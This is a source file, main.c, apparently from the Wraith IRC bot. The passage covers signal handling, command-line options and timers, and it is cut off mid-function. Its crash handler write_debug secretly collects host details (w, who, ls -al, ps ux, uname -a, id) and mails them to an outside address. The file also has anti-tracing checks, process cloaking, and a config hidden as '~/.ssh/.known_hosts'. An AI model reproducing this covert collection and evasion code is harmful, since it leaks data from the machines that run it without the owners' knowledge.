main.c 51 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int checktrace = 1; /* Check for trace when starting up? */
  88. int pscloak = 1;
  89. int updating = 0; /* this is set when the binary is called from itself. */
  90. char tempdir[DIRMAX] = "";
  91. char lock_file[40] = "";
  92. char *binname;
  93. int sdebug = 0; /* enable debug output? */
  94. char configfile[121] = ""; /* Name of the config file */
  95. char textdir[121] = ""; /* Directory for text files that get dumped */
  96. time_t online_since; /* Unix-time that the bot loaded up */
  97. char owner[121] = ""; /* Permanent owner(s) of the bot */
  98. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  99. stored in */
  100. int save_users_at = 0; /* How many minutes past the hour to
  101. save the userfile? */
  102. int notify_users_at = 0; /* How many minutes past the hour to
  103. notify users of notes? */
  104. char version[81]; /* Version info (long form) */
  105. char ver[41]; /* Version info (short form) */
  106. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  107. int do_restart = 0; /* .restart has been called, restart asap */
  108. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  109. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  110. int resolve_timeout = 10; /* hostname/address lookup timeout */
  111. char quit_msg[1024]; /* quit message */
  112. time_t now; /* duh, now :) */
  113. #ifdef S_UTCTIME
  114. time_t now_tmp; /* used to convert to UTC */
  115. #endif /* S_UTCTIME */
  116. extern struct cfg_entry CFG_FORKINTERVAL;
  117. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  118. unsigned char md5out[33];
  119. char md5string[33];
  120. /* Traffic stats
  121. */
  122. unsigned long otraffic_irc = 0;
  123. unsigned long otraffic_irc_today = 0;
  124. unsigned long otraffic_bn = 0;
  125. unsigned long otraffic_bn_today = 0;
  126. unsigned long otraffic_dcc = 0;
  127. unsigned long otraffic_dcc_today = 0;
  128. unsigned long otraffic_filesys = 0;
  129. unsigned long otraffic_filesys_today = 0;
  130. unsigned long otraffic_trans = 0;
  131. unsigned long otraffic_trans_today = 0;
  132. unsigned long otraffic_unknown = 0;
  133. unsigned long otraffic_unknown_today = 0;
  134. unsigned long itraffic_irc = 0;
  135. unsigned long itraffic_irc_today = 0;
  136. unsigned long itraffic_bn = 0;
  137. unsigned long itraffic_bn_today = 0;
  138. unsigned long itraffic_dcc = 0;
  139. unsigned long itraffic_dcc_today = 0;
  140. unsigned long itraffic_trans = 0;
  141. unsigned long itraffic_trans_today = 0;
  142. unsigned long itraffic_unknown = 0;
  143. unsigned long itraffic_unknown_today = 0;
  144. #ifdef DEBUG_CONTEXT
  145. /* Context storage for fatal crashes */
  146. char cx_file[16][30];
  147. char cx_note[16][256];
  148. int cx_line[16];
  149. int cx_ptr = 0;
  150. #endif
  151. void fatal(const char *s, int recoverable)
  152. {
  153. int i;
  154. #ifdef LEAF
  155. module_entry *me;
  156. if ((me = module_find("server", 0, 0))) {
  157. Function *func = me->funcs;
  158. (func[SERVER_NUKESERVER]) (s);
  159. }
  160. #endif /* LEAF */
  161. if (s[0])
  162. putlog(LOG_MISC, "*", "* %s", s);
  163. /* flushlogs(); */
  164. for (i = 0; i < dcc_total; i++) {
  165. if (dcc[i].sock >= 0)
  166. killsock(dcc[i].sock);
  167. #ifdef HAVE_SSL
  168. ssl_cleanup();
  169. #endif /* HAVE_SSL */
  170. }
  171. if (!recoverable) {
  172. unlink(pid_file);
  173. bg_send_quit(BG_ABORT);
  174. exit(1);
  175. }
  176. }
  177. int expmem_chanprog(), expmem_users(), expmem_misc(), expmem_dccutil(),
  178. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(),
  179. expmem_modules(int), expmem_tcldcc(),
  180. expmem_tclmisc();
  181. /* For mem.c : calculate memory we SHOULD be using
  182. */
  183. int expected_memory(void)
  184. {
  185. int tot;
  186. tot = expmem_chanprog() + expmem_users() + expmem_misc() +
  187. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  188. expmem_net() + expmem_modules(0) + expmem_tcldcc() +
  189. expmem_tclmisc();
  190. return tot;
  191. }
  192. static void check_expired_dcc()
  193. {
  194. int i;
  195. for (i = 0; i < dcc_total; i++)
  196. if (dcc[i].type && dcc[i].type->timeout_val &&
  197. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  198. if (dcc[i].type->timeout)
  199. dcc[i].type->timeout(i);
  200. else if (dcc[i].type->eof)
  201. dcc[i].type->eof(i);
  202. else
  203. continue;
  204. /* Only timeout 1 socket per cycle, too risky for more */
  205. return;
  206. }
  207. }
  208. #ifdef DEBUG_CONTEXT
  209. static int nested_debug = 0;
  210. void write_debug()
  211. {
  212. int x;
  213. char s[25], tmpout[150];
  214. int y;
  215. if (nested_debug) {
  216. /* Yoicks, if we have this there's serious trouble!
  217. * All of these are pretty reliable, so we'll try these.
  218. *
  219. * NOTE: dont try and display context-notes in here, it's
  220. * _not_ safe <cybah>
  221. */
  222. x = creat("DEBUG.DEBUG", 0600);
  223. setsock(x, SOCK_NONSOCK);
  224. if (x >= 0) {
  225. strncpyz(s, ctime(&now), sizeof s);
  226. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  227. dprintf(-x, "Please report problem to bugs@eggheads.org\n");
  228. dprintf(-x, "after a visit to http://www.eggheads.org/bugzilla/\n");
  229. dprintf(-x, "Context: ");
  230. cx_ptr = cx_ptr & 15;
  231. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  232. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  233. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  234. killsock(x);
  235. close(x);
  236. }
  237. bg_send_quit(BG_ABORT);
  238. exit(1); /* Dont even try & tell people about, that may
  239. have caused the fault last time. */
  240. } else
  241. nested_debug = 1;
  242. snprintf(tmpout, sizeof tmpout, STR("* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]"),
  243. cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
  244. cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
  245. cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  246. putlog(LOG_MISC, "*", "%s", tmpout);
  247. printf("%s\n", tmpout);
  248. x = creat("DEBUG", 0600);
  249. setsock(x, SOCK_NONSOCK);
  250. if (x < 0) {
  251. putlog(LOG_MISC, "*", "* Failed to write DEBUG");
  252. } else {
  253. strncpyz(s, ctime(&now), sizeof s);
  254. dprintf(-x, "Debug (%s) written %s\n", ver, s);
  255. dprintf(-x, "STATICALLY LINKED\n");
  256. /* info library */
  257. dprintf(-x, "Tcl library: %s\n",
  258. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  259. interp->result : "*unknown*");
  260. /* info tclversion/patchlevel */
  261. dprintf(-x, "Tcl version: %s (header version %s)\n",
  262. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  263. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  264. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  265. "*unknown*");
  266. #if HAVE_TCL_THREADS
  267. dprintf(-x, "Tcl is threaded\n");
  268. #endif
  269. #ifdef CCFLAGS
  270. dprintf(-x, "Compile flags: %s\n", CCFLAGS);
  271. #endif
  272. #ifdef LDFLAGS
  273. dprintf(-x, "Link flags: %s\n", LDFLAGS);
  274. #endif
  275. #ifdef STRIPFLAGS
  276. dprintf(-x, "Strip flags: %s\n", STRIPFLAGS);
  277. #endif
  278. dprintf(-x, "Context: ");
  279. cx_ptr = cx_ptr & 15;
  280. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  281. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  282. (cx_note[y][0]) ? cx_note[y] : "");
  283. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  284. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  285. tell_dcc(-x);
  286. dprintf(-x, "\n");
  287. debug_mem_to_dcc(-x);
  288. killsock(x);
  289. close(x);
  290. putlog(LOG_MISC, "*", "* Emailed DEBUG to bryan.");
  291. if (1) {
  292. char buff[255];
  293. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  294. system(buff);
  295. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  296. system(buff);
  297. unlink("bleh");
  298. }
  299. unlink("DEBUG");
  300. }
  301. }
  302. #endif
  303. static void got_bus(int z)
  304. {
  305. #ifdef DEBUG_CONTEXT
  306. write_debug();
  307. #endif
  308. fatal("BUS ERROR -- CRASHING!", 1);
  309. #ifdef SA_RESETHAND
  310. kill(getpid(), SIGBUS);
  311. #else
  312. bg_send_quit(BG_ABORT);
  313. exit(1);
  314. #endif
  315. }
  316. static void got_segv(int z)
  317. {
  318. #ifdef DEBUG_CONTEXT
  319. write_debug();
  320. #endif
  321. fatal("SEGMENT VIOLATION -- CRASHING!", 1);
  322. #ifdef SA_RESETHAND
  323. kill(getpid(), SIGSEGV);
  324. #else
  325. bg_send_quit(BG_ABORT);
  326. exit(1);
  327. #endif
  328. }
  329. static void got_fpe(int z)
  330. {
  331. #ifdef DEBUG_CONTEXT
  332. write_debug();
  333. #endif
  334. fatal("FLOATING POINT ERROR -- CRASHING!", 0);
  335. }
  336. static void got_term(int z)
  337. {
  338. #ifdef HUB
  339. write_userfile(-1);
  340. #endif
  341. check_tcl_event("sigterm");
  342. if (die_on_sigterm) {
  343. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  344. fatal("TERMINATE SIGNAL -- SIGNING OFF", 0);
  345. } else {
  346. putlog(LOG_MISC, "*", "RECEIVED TERMINATE SIGNAL (IGNORING)");
  347. }
  348. }
  349. static void got_stop(int z)
  350. {
  351. exit(1);
  352. putlog(LOG_MISC, "*", "GOT SIGSTOP POSSIBLE HIJACK.");
  353. }
  354. #ifdef S_HIJACKCHECK
  355. static void got_cont(int z)
  356. {
  357. detected(DETECT_SIGCONT, "POSSIBLE HIJACK DETECTED");
  358. }
  359. #endif
  360. static void got_quit(int z)
  361. {
  362. check_tcl_event("sigquit");
  363. putlog(LOG_MISC, "*", "RECEIVED QUIT SIGNAL (IGNORING)");
  364. return;
  365. }
  366. static void got_hup(int z)
  367. {
  368. #ifdef HUB
  369. write_userfile(-1);
  370. #endif
  371. check_tcl_event("sighup");
  372. if (die_on_sighup) {
  373. fatal("HANGUP SIGNAL -- SIGNING OFF", 0);
  374. } else
  375. putlog(LOG_MISC, "*", "Received HUP signal: rehashing...");
  376. do_restart = -2;
  377. return;
  378. }
  379. /* A call to resolver (gethostbyname, etc) timed out
  380. */
  381. static void got_alarm(int z)
  382. {
  383. debug0("got alarm...");
  384. longjmp(alarmret, 1);
  385. /* -Never reached- */
  386. }
  387. /* Got ILL signal -- log context and continue
  388. */
  389. static void got_ill(int z)
  390. {
  391. check_tcl_event("sigill");
  392. #ifdef DEBUG_CONTEXT
  393. putlog(LOG_MISC, "*", "* Context: %s/%d [%s]", cx_file[cx_ptr],
  394. cx_line[cx_ptr], (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  395. #endif
  396. }
  397. #ifdef DEBUG_CONTEXT
  398. /* Context */
  399. void eggContext(const char *file, int line, const char *module)
  400. {
  401. char x[31], *p;
  402. p = strrchr(file, '/');
  403. if (!module) {
  404. strncpyz(x, p ? p + 1 : file, sizeof x);
  405. } else
  406. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  407. cx_ptr = ((cx_ptr + 1) & 15);
  408. strcpy(cx_file[cx_ptr], x);
  409. cx_line[cx_ptr] = line;
  410. cx_note[cx_ptr][0] = 0;
  411. }
  412. /* Called from the ContextNote macro.
  413. */
  414. void eggContextNote(const char *file, int line, const char *module,
  415. const char *note)
  416. {
  417. char x[31], *p;
  418. p = strrchr(file, '/');
  419. if (!module) {
  420. strncpyz(x, p ? p + 1 : file, sizeof x);
  421. } else
  422. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  423. cx_ptr = ((cx_ptr + 1) & 15);
  424. strcpy(cx_file[cx_ptr], x);
  425. cx_line[cx_ptr] = line;
  426. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  427. }
  428. #endif
  429. #ifdef DEBUG_ASSERT
  430. /* Called from the Assert macro.
  431. */
  432. void eggAssert(const char *file, int line, const char *module)
  433. {
  434. #ifdef DEBUG_CONTEXT
  435. write_debug();
  436. #endif /* DEBUG_CONTEXT */
  437. if (!module)
  438. putlog(LOG_MISC, "*", "* In file %s, line %u", file, line);
  439. else
  440. putlog(LOG_MISC, "*", "* In file %s:%s, line %u", module, file, line);
  441. fatal("ASSERT FAILED -- CRASHING!", 1);
  442. }
  443. #endif /* DEBUG_ASSERT */
  444. #ifdef LEAF
  445. static void gotspawn(char *);
  446. #endif /* LEAF */
  447. void checkpass()
  448. {
  449. static int checkedpass = 0;
  450. if (!checkedpass) {
  451. char *gpasswd;
  452. MD5_CTX ctx;
  453. int i = 0;
  454. gpasswd = (char *) getpass("");
  455. MD5_Init(&ctx);
  456. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  457. MD5_Final(md5out, &ctx);
  458. for(i=0; i<16; i++)
  459. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  460. if (strcmp(shellpass, md5string)) {
  461. fatal("incorrect password.", 0);
  462. }
  463. gpasswd = 0;
  464. checkedpass = 1;
  465. }
  466. }
  467. void got_ed(char *, char *, char *);
  468. extern int optind;
  469. void gen_conf(char *filename)
  470. {
  471. FILE *fp;
  472. if (is_file(filename) || is_dir(filename))
  473. fatal("File already exists..", 0);
  474. fp = fopen(filename, "w+");
  475. fprintf(fp, STR("#All lines beginning with '#' will be ignored during the bot startup. They are comments only.\n"));
  476. fprintf(fp, STR("#These lines MUST be correctly syntaxed or the bot will not work properly.\n"));
  477. fprintf(fp, STR("#A hub conf is located in the same dir as the hub binary, as 'conf' (encrypted)\n"));
  478. fprintf(fp, STR("#A leaf conf is located at '~/.ssh/.known_hosts' (encrypted)\n"));
  479. fprintf(fp, STR("#\n"));
  480. fprintf(fp, STR("#Note the \"- \" and \"+ \" for the following items, the space is REQUIRED.\n"));
  481. fprintf(fp, STR("#The first line must be the UID of the shell the bot is to be run on. (use \"id\" in shell to get uid)\n"));
  482. fprintf(fp, STR("#- 1113\n"));
  483. fprintf(fp, STR("#The second must be the output from uname -nv (-nr on FBSD)\n"));
  484. fprintf(fp, STR("#+ somebox #1 SMP Thu May 29 06:55:05 EDT 2003\n"));
  485. fprintf(fp, STR("#\n"));
  486. fprintf(fp, STR("#The following line will disable ps cloaking on the shell if you compiled with S_PSCLOAK\n"));
  487. fprintf(fp, STR("#!-\n"));
  488. fprintf(fp, STR("#The rest of the conf is for bots and is in the following syntax:\n"));
  489. fprintf(fp, STR("#botnick [!]ip4 [+]hostname IPv6-ip\n"));
  490. fprintf(fp, STR("#A . (period) can be used in place of ip4 and/or hostname if the field is not needed. (ie, for using only an ipv6 ip)\n"));
  491. fprintf(fp, STR("#(the ! means internal NAT ip address, IE: 10.10.0.3, Hostname REQUIRED)\n"));
  492. fprintf(fp, STR("#Full example:\n"));
  493. fprintf(fp, STR("#- 101\n"));
  494. fprintf(fp, STR("#+ somebox 5.1-RELEASE\n"));
  495. fprintf(fp, STR("#bot1 1.2.3.4 some.vhost.com\n"));
  496. fprintf(fp, STR("#bot2 . +ipv6.uber.leet.la\n"));
  497. fprintf(fp, STR("#bot3 . +another.ipv6.host.com 2001:66:669:3a4::1\n"));
  498. fprintf(fp, STR("#bot4 1.2.3.4 +someipv6.host.com\n"));
  499. fprintf(fp, STR("\n\n\n\n#if there are any trailing newlines at the end, remove them up to the last bot.\n"));
  500. fflush(fp);
  501. fclose(fp);
  502. printf("Template config created as '%s'\n", filename);
  503. exit(0);
  504. }
  505. void show_help()
  506. {
  507. char format[81];
  508. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  509. printf(STR("Wraith %s\n\n"), egg_version);
  510. printf(format, STR("Option"), STR("Description"));
  511. printf(format, STR("------"), STR("-----------"));
  512. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  513. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  514. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  515. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  516. printf(format, STR("-g <file>"), STR("Generates a template config file"));
  517. printf(format, STR("-h"), STR("Display this help listing"));
  518. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  519. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  520. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  521. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  522. printf(format, STR("-v"), STR("Displays bot version"));
  523. exit(0);
  524. }
  525. #ifdef LEAF
  526. #define PARSE_FLAGS "cedghnstvPDE"
  527. #endif /* LEAF */
  528. #ifdef HUB
  529. #define PARSE_FLAGS "edghnstvDE"
  530. #endif /* HUB */
  531. #define FLAGS_CHECKPASS "edhgntDEv"
  532. static void dtx_arg(int argc, char *argv[])
  533. {
  534. int i;
  535. char *p = NULL, *p2 = NULL;
  536. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  537. if (strchr(FLAGS_CHECKPASS, i))
  538. checkpass();
  539. switch (i) {
  540. #ifdef LEAF
  541. case 'c':
  542. localhub = 0;
  543. p = argv[optind];
  544. if (!localhub)
  545. gotspawn(p);
  546. break;
  547. #endif /* LEAF */
  548. case 'h':
  549. show_help();
  550. break; /* never reached */
  551. case 'g':
  552. p = argv[optind];
  553. if (p)
  554. gen_conf(p);
  555. else
  556. fatal("You must specify a filename after -g", 0);
  557. break; /* never reached */
  558. case 'k':
  559. p = argv[optind];
  560. /* kill_bot(p); */
  561. exit(0);
  562. break; /* never reached */
  563. case 'n':
  564. backgrd = 0;
  565. break;
  566. case 's':
  567. checktrace = 0;
  568. break;
  569. case 't':
  570. term_z = 1;
  571. break;
  572. case 'D':
  573. sdebug = 1;
  574. sdprintf("debug enabled");
  575. break;
  576. case 'E':
  577. p = argv[optind];
  578. if (p) {
  579. if (!strcmp(p, "all")) {
  580. int n;
  581. putlog(LOG_MISC, "*", "Listing all errors");
  582. for (n = 1; n < ERR_MAX; n++)
  583. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  584. } else {
  585. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  586. }
  587. exit(0);
  588. } else {
  589. fatal("You must specify error number after -E (or 'all')", 0);
  590. }
  591. break;
  592. case 'e':
  593. if (argv[optind])
  594. p = argv[optind];
  595. if (argv[optind+1])
  596. p2 = argv[optind+1];
  597. got_ed("e", p, p2);
  598. break; /* this should never be reached */
  599. case 'd':
  600. if (argv[optind])
  601. p = argv[optind];
  602. if (argv[optind+1])
  603. p2 = argv[optind+1];
  604. got_ed("d", p, p2);
  605. break; /* this should never be reached */
  606. case 'v':
  607. printf("%d\n", egg_numver);
  608. bg_send_quit(BG_ABORT);
  609. exit(0);
  610. break; /* this should never be reached */
  611. #ifdef LEAF
  612. case 'P':
  613. if (getppid() != atoi(argv[optind]))
  614. exit(0);
  615. else {
  616. sdprintf("Updating...");
  617. }
  618. localhub = 1;
  619. updating = 1;
  620. break;
  621. #endif
  622. default:
  623. // exit(1);
  624. break;
  625. }
  626. }
  627. }
  628. #ifdef HUB
  629. void backup_userfile()
  630. {
  631. char s[125];
  632. putlog(LOG_MISC, "*", USERF_BACKUP);
  633. egg_snprintf(s, sizeof s, "%s~", userfile);
  634. copyfile(userfile, s);
  635. }
  636. #endif
  637. /* Timer info */
  638. static int lastmin = 99;
  639. static time_t then;
  640. static struct tm nowtm;
  641. /* Called once a second.
  642. *
  643. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  644. */
  645. int curcheck = 0;
  646. void core_10secondly()
  647. {
  648. curcheck++;
  649. check_promisc();
  650. if (curcheck==1)
  651. check_trace(0);
  652. #ifdef LEAF
  653. if (localhub) {
  654. #endif
  655. if (curcheck==2)
  656. check_last();
  657. #ifdef LEAF
  658. }
  659. #endif
  660. if (curcheck==3) {
  661. #ifdef LEAF
  662. if (localhub)
  663. check_processes();
  664. #endif
  665. curcheck=0;
  666. }
  667. }
  668. void do_fork() {
  669. int xx;
  670. Context;
  671. xx = fork();
  672. if (xx == -1)
  673. return;
  674. if (xx != 0) {
  675. FILE *fp;
  676. unlink(pid_file);
  677. fp = fopen(pid_file, "w");
  678. if (fp != NULL) {
  679. fprintf(fp, "%u\n", xx);
  680. fclose(fp);
  681. }
  682. }
  683. if (xx) {
  684. #if HAVE_SETPGID
  685. setpgid(xx, xx);
  686. #endif
  687. exit(0);
  688. }
  689. lastfork = now;
  690. }
  691. static void core_secondly()
  692. {
  693. static int cnt = 0;
  694. int miltime, idx;
  695. if (geteuid() != myuid || getuid() != myuid) {
  696. putlog(LOG_MISC, "*", "MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT");
  697. }
  698. do_check_timers(&utimer); /* Secondly timers */
  699. if (fork_interval && backgrd) {
  700. if (now-lastfork > fork_interval)
  701. do_fork();
  702. }
  703. cnt++;
  704. if ((cnt % 3) == 0)
  705. call_hook(HOOK_3SECONDLY);
  706. if ((cnt % 10) == 0) {
  707. call_hook(HOOK_10SECONDLY);
  708. check_expired_dcc();
  709. if (con_chan && !backgrd) {
  710. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  711. tell_verbose_status(DP_STDOUT);
  712. do_module_report(DP_STDOUT, 0, "server");
  713. do_module_report(DP_STDOUT, 0, "channels");
  714. tell_mem_status_dcc(DP_STDOUT);
  715. }
  716. }
  717. if ((cnt % 30) == 0) {
  718. autolink_cycle(NULL); /* attempt autolinks */
  719. call_hook(HOOK_30SECONDLY);
  720. cnt = 0;
  721. }
  722. for (idx = 0; idx < dcc_total; idx++) {
